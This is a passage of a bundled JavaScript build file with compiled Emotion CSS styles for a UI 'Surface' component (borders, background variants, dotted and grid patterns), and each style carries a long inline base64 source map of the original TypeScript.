dXJmYWNlQmFja2dyb3VuZFRpbnRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHRlcnRpYXJ5ID0gY3NzYFxuXHRiYWNrZ3JvdW5kOiAkeyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRUZXJ0aWFyeUNvbG9yIH07XG5gO1xuXG5jb25zdCBjdXN0b21CYWNrZ3JvdW5kU2l6ZSA9ICggc3VyZmFjZUJhY2tncm91bmRTaXplOiBzdHJpbmcgKSA9PlxuXHRbIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSwgc3VyZmFjZUJhY2tncm91bmRTaXplIF0uam9pbiggJyAnICk7XG5cbmNvbnN0IGRvdHRlZEJhY2tncm91bmQxID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZyApID0+XG5cdFtcblx0XHQnOTBkZWcnLFxuXHRcdFsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kQ29sb3IsIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZCBdLmpvaW4oXG5cdFx0XHQnICdcblx0XHQpLFxuXHRcdCd0cmFuc3BhcmVudCAxJScsXG5cdF0uam9pbiggJywnICk7XG5cbmNvbnN0IGRvdHRlZEJhY2tncm91bmQyID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZyApID0+XG5cdFtcblx0XHRbIENPTkZJRy5zdXJmYWNlQmFja2dyb3VuZENvbG9yLCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQgXS5qb2luKFxuXHRcdFx0JyAnXG5cdFx0KSxcblx0XHQndHJhbnNwYXJlbnQgMSUnLFxuXHRdLmpvaW4oICcsJyApO1xuXG5jb25zdCBkb3R0ZWRCYWNrZ3JvdW5kQ29tYmluZWQgPSAoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZDogc3RyaW5nICkgPT5cblx0W1xuXHRcdGBsaW5lYXItZ3JhZGllbnQoICR7IGRvdHRlZEJhY2tncm91bmQxKFxuXHRcdFx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkXG5cdFx0KSB9ICkgY2VudGVyYCxcblx0XHRgbGluZWFyLWdyYWRpZW50KCAkeyBkb3R0ZWRCYWNrZ3JvdW5kMihcblx0XHRcdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZFxuXHRcdCkgfSApIGNlbnRlcmAsXG5cdFx0Q09ORklHLnN1cmZhY2VCb3JkZXJCb2xkQ29sb3IsXG5cdF0uam9pbiggJywnICk7XG5cbmV4cG9ydCBjb25zdCBnZXREb3R0ZWQgPSAoXG5cdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZTogc3RyaW5nLFxuXHRzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZ1xuKSA9PiBjc3NgXG5cdGJhY2tncm91bmQ6ICR7IGRvdHRlZEJhY2tncm91bmRDb21iaW5lZCggc3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkICkgfTtcblx0YmFja2dyb3VuZC1zaXplOiAkeyBjdXN0b21CYWNrZ3JvdW5kU2l6ZSggc3VyZmFjZUJhY2tncm91bmRTaXplICkgfTtcbmA7XG5cbmNvbnN0IGdyaWRCYWNrZ3JvdW5kMSA9IFtcblx0YCR7IENPTkZJRy5zdXJmYWNlQm9yZGVyU3VidGxlQ29sb3IgfSAxcHhgLFxuXHQndHJhbnNwYXJlbnQgMXB4Jyxcbl0uam9pbiggJywnICk7XG5cbmNvbnN0IGdyaWRCYWNrZ3JvdW5kMiA9IFtcblx0JzkwZGVnJyxcblx0YCR7IENPTkZJRy5zdXJmYWNlQm9yZGVyU3VidGxlQ29sb3IgfSAxcHhgLFxuXHQndHJhbnNwYXJlbnQgMXB4Jyxcbl0uam9pbiggJywnICk7XG5cbmNvbnN0IGdyaWRCYWNrZ3JvdW5kQ29tYmluZWQgPSBbXG5cdGBsaW5lYXItZ3JhZGllbnQoICR7IGdyaWRCYWNrZ3JvdW5kMSB9IClgLFxuXHRgbGluZWFyLWdyYWRpZW50KCAkeyBncmlkQmFja2dyb3VuZDIgfSApYCxcbl0uam9pbiggJywnICk7XG5cbmV4cG9ydCBjb25zdCBnZXRHcmlkID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemU6IHN0cmluZyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRDb2xvciB9O1xuXHRcdGJhY2tncm91bmQtaW1hZ2U6ICR7IGdyaWRCYWNrZ3JvdW5kQ29tYmluZWQgfTtcblx0XHRiYWNrZ3JvdW5kLXNpemU6ICR7IGN1c3RvbUJhY2tncm91bmRTaXplKCBzdXJmYWNlQmFja2dyb3VuZFNpemUgKSB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFZhcmlhbnQgPSAoXG5cdHZhcmlhbnQ6IFN1cmZhY2VWYXJpYW50LFxuXHRzdXJmYWNlQmFja2dyb3VuZFNpemU6IHN0cmluZyxcblx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkOiBzdHJpbmdcbikgPT4ge1xuXHRzd2l0Y2ggKCB2YXJpYW50ICkge1xuXHRcdGNhc2UgJ2RvdHRlZCc6IHtcblx0XHRcdHJldHVybiBnZXREb3R0ZWQoXG5cdFx0XHRcdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSxcblx0XHRcdFx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkXG5cdFx0XHQpO1xuXHRcdH1cblx0XHRjYXNlICdncmlkJzoge1xuXHRcdFx0cmV0dXJuIGdldEdyaWQoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSApO1xuXHRcdH1cblx0XHRjYXNlICdwcmltYXJ5Jzoge1xuXHRcdFx0cmV0dXJuIHByaW1hcnk7XG5cdFx0fVxuXHRcdGNhc2UgJ3NlY29uZGFyeSc6IHtcblx0XHRcdHJldHVybiBzZWNvbmRhcnk7XG5cdFx0fVxuXHRcdGNhc2UgJ3RlcnRpYXJ5Jzoge1xuXHRcdFx0cmV0dXJuIHRlcnRpYXJ5O1xuXHRcdH1cblx0fVxufTtcbiJdfQ== */");
35335 function getBorders({
35336 borderBottom,
35337 borderLeft,
35338 borderRight,
35339 borderTop
35340 }) {
35341 const borderStyle = `1px solid ${config_values_default.surfaceBorderColor}`;
35342 return /* @__PURE__ */ css({
35343 borderBottom: borderBottom ? borderStyle : void 0,
35344 borderLeft: borderLeft ? borderStyle : void 0,
35345 borderRight: borderRight ? borderStyle : void 0,
35346 borderTop: borderTop ? borderStyle : void 0
35347 }, false ? "" : ";label:getBorders;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnQ1EiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT05GSUcsIENPTE9SUyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgU3VyZmFjZVZhcmlhbnQsIFN1cmZhY2VQcm9wcyB9IGZyb20gJy4vdHlwZXMnO1xuXG5leHBvcnQgY29uc3QgU3VyZmFjZSA9IGNzc2Bcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09ORklHLnN1cmZhY2VDb2xvciB9O1xuXHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDkwMCBdIH07XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBiYWNrZ3JvdW5kID0gY3NzYFxuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGZ1bmN0aW9uIGdldEJvcmRlcnMoIHtcblx0Ym9yZGVyQm90dG9tLFxuXHRib3JkZXJMZWZ0LFxuXHRib3JkZXJSaWdodCxcblx0Ym9yZGVyVG9wLFxufTogUGljazxcblx0U3VyZmFjZVByb3BzLFxuXHQnYm9yZGVyQm90dG9tJyB8ICdib3JkZXJMZWZ0JyB8ICdib3JkZXJSaWdodCcgfCAnYm9yZGVyVG9wJ1xuPiApIHtcblx0Y29uc3QgYm9yZGVyU3R5bGUgPSBgMXB4IHNvbGlkICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfWA7XG5cblx0cmV0dXJuIGNzcygge1xuXHRcdGJvcmRlckJvdHRvbTogYm9yZGVyQm90dG9tID8gYm9yZGVyU3R5bGUgOiB1bmRlZmluZWQsXG5cdFx0Ym9yZGVyTGVmdDogYm9yZGVyTGVmdCA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHRcdGJvcmRlclJpZ2h0OiBib3JkZXJSaWdodCA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHRcdGJvcmRlclRvcDogYm9yZGVyVG9wID8gYm9yZGVyU3R5bGUgOiB1bmRlZmluZWQsXG5cdH0gKTtcbn1cblxuZXhwb3J0IGNvbnN0IHByaW1hcnkgPSBjc3NgYDtcblxuZXhwb3J0IGNvbnN0IHNlY29uZGFyeSA9IGNzc2Bcblx0YmFja2dyb3VuZDogJHsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kVGludENvbG9yIH07XG5gO1xuXG5leHBvcnQgY29uc3QgdGVydGlhcnkgPSBjc3NgXG5cdGJhY2tncm91bmQ6ICR7IENPTkZJRy5zdXJmYWNlQmFja2dyb3VuZFRlcnRpYXJ5Q29sb3IgfTtcbmA7XG5cbmNvbnN0IGN1c3RvbUJhY2tncm91bmRTaXplID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemU6IHN0cmluZyApID0+XG5cdFsgc3VyZmFjZUJhY2tncm91bmRTaXplLCBzdXJmYWNlQmFja2dyb3VuZFNpemUgXS5qb2luKCAnICcgKTtcblxuY29uc3QgZG90dGVkQmFja2dyb3VuZDEgPSAoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZDogc3RyaW5nICkgPT5cblx0W1xuXHRcdCc5MGRlZycsXG5cdFx0WyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRDb2xvciwgc3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkIF0uam9pbihcblx0XHRcdCcgJ1xuXHRcdCksXG5cdFx0J3RyYW5zcGFyZW50IDElJyxcblx0XS5qb2luKCAnLCcgKTtcblxuY29uc3QgZG90dGVkQmFja2dyb3VuZDIgPSAoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZDogc3RyaW5nICkgPT5cblx0W1xuXHRcdFsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kQ29sb3IsIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZCBdLmpvaW4oXG5cdFx0XHQnICdcblx0XHQpLFxuXHRcdCd0cmFuc3BhcmVudCAxJScsXG5cdF0uam9pbiggJywnICk7XG5cbmNvbnN0IGRvdHRlZEJhY2tncm91bmRDb21iaW5lZCA9ICggc3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkOiBzdHJpbmcgKSA9PlxuXHRbXG5cdFx0YGxpbmVhci1ncmFkaWVudCggJHsgZG90dGVkQmFja2dyb3VuZDEoXG5cdFx0XHRzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWRcblx0XHQpIH0gKSBjZW50ZXJgLFxuXHRcdGBsaW5lYXItZ3JhZGllbnQoICR7IGRvdHRlZEJhY2tncm91bmQyKFxuXHRcdFx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkXG5cdFx0KSB9ICkgY2VudGVyYCxcblx0XHRDT05GSUcuc3VyZmFjZUJvcmRlckJvbGRDb2xvcixcblx0XS5qb2luKCAnLCcgKTtcblxuZXhwb3J0IGNvbnN0IGdldERvdHRlZCA9IChcblx0c3VyZmFjZUJhY2tncm91bmRTaXplOiBzdHJpbmcsXG5cdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZDogc3RyaW5nXG4pID0+IGNzc2Bcblx0YmFja2dyb3VuZDogJHsgZG90dGVkQmFja2dyb3VuZENvbWJpbmVkKCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQgKSB9O1xuXHRiYWNrZ3JvdW5kLXNpemU6ICR7IGN1c3RvbUJhY2tncm91bmRTaXplKCBzdXJmYWNlQmFja2dyb3VuZFNpemUgKSB9O1xuYDtcblxuY29uc3QgZ3JpZEJhY2tncm91bmQxID0gW1xuXHRgJHsgQ09ORklHLnN1cmZhY2VCb3JkZXJTdWJ0bGVDb2xvciB9IDFweGAsXG5cdCd0cmFuc3BhcmVudCAxcHgnLFxuXS5qb2luKCAnLCcgKTtcblxuY29uc3QgZ3JpZEJhY2tncm91bmQyID0gW1xuXHQnOTBkZWcnLFxuXHRgJHsgQ09ORklHLnN1cmZhY2VCb3JkZXJTdWJ0bGVDb2xvciB9IDFweGAsXG5cdCd0cmFuc3BhcmVudCAxcHgnLFxuXS5qb2luKCAnLCcgKTtcblxuY29uc3QgZ3JpZEJhY2tncm91bmRDb21iaW5lZCA9IFtcblx0YGxpbmVhci1ncmFkaWVudCggJHsgZ3JpZEJhY2tncm91bmQxIH0gKWAsXG5cdGBsaW5lYXItZ3JhZGllbnQoICR7IGdyaWRCYWNrZ3JvdW5kMiB9IClgLFxuXS5qb2luKCAnLCcgKTtcblxuZXhwb3J0IGNvbnN0IGdldEdyaWQgPSAoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZTogc3RyaW5nICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IENPTkZJRy5zdXJmYWNlQmFja2dyb3VuZENvbG9yIH07XG5cdFx0YmFja2dyb3VuZC1pbWFnZTogJHsgZ3JpZEJhY2tncm91bmRDb21iaW5lZCB9O1xuXHRcdGJhY2tncm91bmQtc2l6ZTogJHsgY3VzdG9tQmFja2dyb3VuZFNpemUoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSApIH07XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgZ2V0VmFyaWFudCA9IChcblx0dmFyaWFudDogU3VyZmFjZVZhcmlhbnQsXG5cdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZTogc3RyaW5nLFxuXHRzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZ1xuKSA9PiB7XG5cdHN3aXRjaCAoIHZhcmlhbnQgKSB7XG5cdFx0Y2FzZSAnZG90dGVkJzoge1xuXHRcdFx0cmV0dXJuIGdldERvdHRlZChcblx0XHRcdFx0c3VyZmFjZUJhY2tncm91bmRTaXplLFxuXHRcdFx0XHRzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWRcblx0XHRcdCk7XG5cdFx0fVxuXHRcdGNhc2UgJ2dyaWQnOiB7XG5cdFx0XHRyZXR1cm4gZ2V0R3JpZCggc3VyZmFjZUJhY2tncm91bmRTaXplICk7XG5cdFx0fVxuXHRcdGNhc2UgJ3ByaW1hcnknOiB7XG5cdFx0XHRyZXR1cm4gcHJpbWFyeTtcblx0XHR9XG5cdFx0Y2FzZSAnc2Vjb25kYXJ5Jzoge1xuXHRcdFx0cmV0dXJuIHNlY29uZGFyeTtcblx0XHR9XG5cdFx0Y2FzZSAndGVydGlhcnknOiB7XG5cdFx0XHRyZXR1cm4gdGVydGlhcnk7XG5cdFx0fVxuXHR9XG59O1xuIl19 */");
35348 }
35349 var primary = /* @__PURE__ */ css(false ? "" : ";label:primary;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF3QzBCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7IFN1cmZhY2VWYXJpYW50LCBTdXJmYWNlUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZXhwb3J0IGNvbnN0IFN1cmZhY2UgPSBjc3NgXG5cdGJhY2tncm91bmQtY29sb3I6ICR7IENPTkZJRy5zdXJmYWNlQ29sb3IgfTtcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5gO1xuXG5leHBvcnQgY29uc3QgYmFja2dyb3VuZCA9IGNzc2Bcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kQ29sb3IgfTtcbmA7XG5cbmV4cG9ydCBmdW5jdGlvbiBnZXRCb3JkZXJzKCB7XG5cdGJvcmRlckJvdHRvbSxcblx0Ym9yZGVyTGVmdCxcblx0Ym9yZGVyUmlnaHQsXG5cdGJvcmRlclRvcCxcbn06IFBpY2s8XG5cdFN1cmZhY2VQcm9wcyxcblx0J2JvcmRlckJvdHRvbScgfCAnYm9yZGVyTGVmdCcgfCAnYm9yZGVyUmlnaHQnIHwgJ2JvcmRlclRvcCdcbj4gKSB7XG5cdGNvbnN0IGJvcmRlclN0eWxlID0gYDFweCBzb2xpZCAkeyBDT05GSUcuc3VyZmFjZUJvcmRlckNvbG9yIH1gO1xuXG5cdHJldHVybiBjc3MoIHtcblx0XHRib3JkZXJCb3R0b206IGJvcmRlckJvdHRvbSA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHRcdGJvcmRlckxlZnQ6IGJvcmRlckxlZnQgPyBib3JkZXJTdHlsZSA6IHVuZGVmaW5lZCxcblx0XHRib3JkZXJSaWdodDogYm9yZGVyUmlnaHQgPyBib3JkZXJTdHlsZSA6IHVuZGVmaW5lZCxcblx0XHRib3JkZXJUb3A6IGJvcmRlclRvcCA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHR9ICk7XG59XG5cbmV4cG9ydCBjb25zdCBwcmltYXJ5ID0gY3NzYGA7XG5cbmV4cG9ydCBjb25zdCBzZWNvbmRhcnkgPSBjc3NgXG5cdGJhY2tncm91bmQ6ICR7IENPTkZJRy5zdXJmYWNlQmFja2dyb3VuZFRpbnRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHRlcnRpYXJ5ID0gY3NzYFxuXHRiYWNrZ3JvdW5kOiAkeyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRUZXJ0aWFyeUNvbG9yIH07XG5gO1xuXG5jb25zdCBjdXN0b21CYWNrZ3JvdW5kU2l6ZSA9ICggc3VyZmFjZUJhY2tncm91bmRTaXplOiBzdHJpbmcgKSA9PlxuXHRbIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSwgc3VyZmFjZUJhY2tncm91bmRTaXplIF0uam9pbiggJyAnICk7XG5cbmNvbnN0IGRvdHRlZEJhY2tncm91bmQxID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZyApID0+XG5cdFtcblx0XHQnOTBkZWcnLFxuXHRcdFsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kQ29sb3IsIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZCBdLmpvaW4oXG5cdFx0XHQnICdcblx0XHQpLFxuXHRcdCd0cmFuc3BhcmVudCAxJScsXG5cdF0uam9pbiggJywnICk7XG5cbmNvbnN0IGRvdHRlZEJhY2tncm91bmQyID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZyApID0+XG5cdFtcblx0XHRbIENPTkZJRy5zdXJmYWNlQmFja2dyb3VuZENvbG9yLCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQgXS5qb2luKFxuXHRcdFx0JyAnXG5cdFx0KSxcblx0XHQndHJhbnNwYXJlbnQgMSUnLFxuXHRdLmpvaW4oICcsJyApO1xuXG5jb25zdCBkb3R0ZWRCYWNrZ3JvdW5kQ29tYmluZWQgPSAoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZDogc3RyaW5nICkgPT5cblx0W1xuXHRcdGBsaW5lYXItZ3JhZGllbnQoICR7IGRvdHRlZEJhY2tncm91bmQxKFxuXHRcdFx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkXG5cdFx0KSB9ICkgY2VudGVyYCxcblx0XHRgbGluZWFyLWdyYWRpZW50KCAkeyBkb3R0ZWRCYWNrZ3JvdW5kMihcblx0XHRcdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZFxuXHRcdCkgfSApIGNlbnRlcmAsXG5cdFx0Q09ORklHLnN1cmZhY2VCb3JkZXJCb2xkQ29sb3IsXG5cdF0uam9pbiggJywnICk7XG5cbmV4cG9ydCBjb25zdCBnZXREb3R0ZWQgPSAoXG5cdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZTogc3RyaW5nLFxuXHRzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZ1xuKSA9PiBjc3NgXG5cdGJhY2tncm91bmQ6ICR7IGRvdHRlZEJhY2tncm91bmRDb21iaW5lZCggc3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkICkgfTtcblx0YmFja2dyb3VuZC1zaXplOiAkeyBjdXN0b21CYWNrZ3JvdW5kU2l6ZSggc3VyZmFjZUJhY2tncm91bmRTaXplICkgfTtcbmA7XG5cbmNvbnN0IGdyaWRCYWNrZ3JvdW5kMSA9IFtcblx0YCR7IENPTkZJRy5zdXJmYWNlQm9yZGVyU3VidGxlQ29sb3IgfSAxcHhgLFxuXHQndHJhbnNwYXJlbnQgMXB4Jyxcbl0uam9pbiggJywnICk7XG5cbmNvbnN0IGdyaWRCYWNrZ3JvdW5kMiA9IFtcblx0JzkwZGVnJyxcblx0YCR7IENPTkZJRy5zdXJmYWNlQm9yZGVyU3VidGxlQ29sb3IgfSAxcHhgLFxuXHQndHJhbnNwYXJlbnQgMXB4Jyxcbl0uam9pbiggJywnICk7XG5cbmNvbnN0IGdyaWRCYWNrZ3JvdW5kQ29tYmluZWQgPSBbXG5cdGBsaW5lYXItZ3JhZGllbnQoICR7IGdyaWRCYWNrZ3JvdW5kMSB9IClgLFxuXHRgbGluZWFyLWdyYWRpZW50KCAkeyBncmlkQmFja2dyb3VuZDIgfSApYCxcbl0uam9pbiggJywnICk7XG5cbmV4cG9ydCBjb25zdCBnZXRHcmlkID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemU6IHN0cmluZyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRDb2xvciB9O1xuXHRcdGJhY2tncm91bmQtaW1hZ2U6ICR7IGdyaWRCYWNrZ3JvdW5kQ29tYmluZWQgfTtcblx0XHRiYWNrZ3JvdW5kLXNpemU6ICR7IGN1c3RvbUJhY2tncm91bmRTaXplKCBzdXJmYWNlQmFja2dyb3VuZFNpemUgKSB9O1xuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFZhcmlhbnQgPSAoXG5cdHZhcmlhbnQ6IFN1cmZhY2VWYXJpYW50LFxuXHRzdXJmYWNlQmFja2dyb3VuZFNpemU6IHN0cmluZyxcblx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkOiBzdHJpbmdcbikgPT4ge1xuXHRzd2l0Y2ggKCB2YXJpYW50ICkge1xuXHRcdGNhc2UgJ2RvdHRlZCc6IHtcblx0XHRcdHJldHVybiBnZXREb3R0ZWQoXG5cdFx0XHRcdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSxcblx0XHRcdFx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkXG5cdFx0XHQpO1xuXHRcdH1cblx0XHRjYXNlICdncmlkJzoge1xuXHRcdFx0cmV0dXJuIGdldEdyaWQoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSApO1xuXHRcdH1cblx0XHRjYXNlICdwcmltYXJ5Jzoge1xuXHRcdFx0cmV0dXJuIHByaW1hcnk7XG5cdFx0fVxuXHRcdGNhc2UgJ3NlY29uZGFyeSc6IHtcblx0XHRcdHJldHVybiBzZWNvbmRhcnk7XG5cdFx0fVxuXHRcdGNhc2UgJ3RlcnRpYXJ5Jzoge1xuXHRcdFx0cmV0dXJuIHRlcnRpYXJ5O1xuXHRcdH1cblx0fVxufTtcbiJdfQ== */");
35350 var secondary = /* @__PURE__ */ css("background:", config_values_default.surfaceBackgroundTintColor, ";" + (false ? "" : ";label:secondary;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwQzRCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7IFN1cmZhY2VWYXJpYW50LCBTdXJmYWNlUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZXhwb3J0IGNvbnN0IFN1cmZhY2UgPSBjc3NgXG5cdGJhY2tncm91bmQtY29sb3I6ICR7IENPTkZJRy5zdXJmYWNlQ29sb3IgfTtcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5gO1xuXG5leHBvcnQgY29uc3QgYmFja2dyb3VuZCA9IGNzc2Bcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kQ29sb3IgfTtcbmA7XG5cbmV4cG9ydCBmdW5jdGlvbiBnZXRCb3JkZXJzKCB7XG5cdGJvcmRlckJvdHRvbSxcblx0Ym9yZGVyTGVmdCxcblx0Ym9yZGVyUmlnaHQsXG5cdGJvcmRlclRvcCxcbn06IFBpY2s8XG5cdFN1cmZhY2VQcm9wcyxcblx0J2JvcmRlckJvdHRvbScgfCAnYm9yZGVyTGVmdCcgfCAnYm9yZGVyUmlnaHQnIHwgJ2JvcmRlclRvcCdcbj4gKSB7XG5cdGNvbnN0IGJvcmRlclN0eWxlID0gYDFweCBzb2xpZCAkeyBDT05GSUcuc3VyZmFjZUJvcmRlckNvbG9yIH1gO1xuXG5cdHJldHVybiBjc3MoIHtcblx0XHRib3JkZXJCb3R0b206IGJvcmRlckJvdHRvbSA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHRcdGJvcmRlckxlZnQ6IGJvcmRlckxlZnQgPyBib3JkZXJTdHlsZSA6IHVuZGVmaW5lZCxcblx0XHRib3JkZXJSaWdodDogYm9yZGVyUmlnaHQgPyBib3JkZXJTdHlsZSA6IHVuZGVmaW5lZCxcblx0XHRib3JkZXJUb3A6IGJvcmRlclRvcCA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHR9ICk7XG59XG5cbmV4cG9ydCBjb25zdCBwcmltYXJ5ID0gY3NzYGA7XG5cbmV4cG9ydCBjb25zdCBzZWNvbmRhcnkgPSBjc3NgXG5cdGJhY2tncm91bmQ6ICR7IENPTkZJRy5zdXJmYWNlQmFja2dyb3VuZFRpbnRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHRlcnRpYXJ5ID0gY3NzYFxuXHRiYWNrZ3JvdW5kOiAkeyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRUZXJ0aWFyeUNvbG9yIH07XG5gO1xuXG5jb25zdCBjdXN0b21CYWNrZ3JvdW5kU2l6ZSA9ICggc3VyZmFjZUJhY2tncm91bmRTaXplOiBzdHJpbmcgKSA9PlxuXHRbIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSwgc3VyZmFjZUJhY2tncm91bmRTaXplIF0uam9pbiggJyAnICk7XG5cbmNvbnN0IGRvdHRlZEJhY2tncm91bmQxID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZyApID0+XG5cdFtcblx0XHQnOTBkZWcnLFxuXHRcdFsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kQ29sb3IsIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZCBd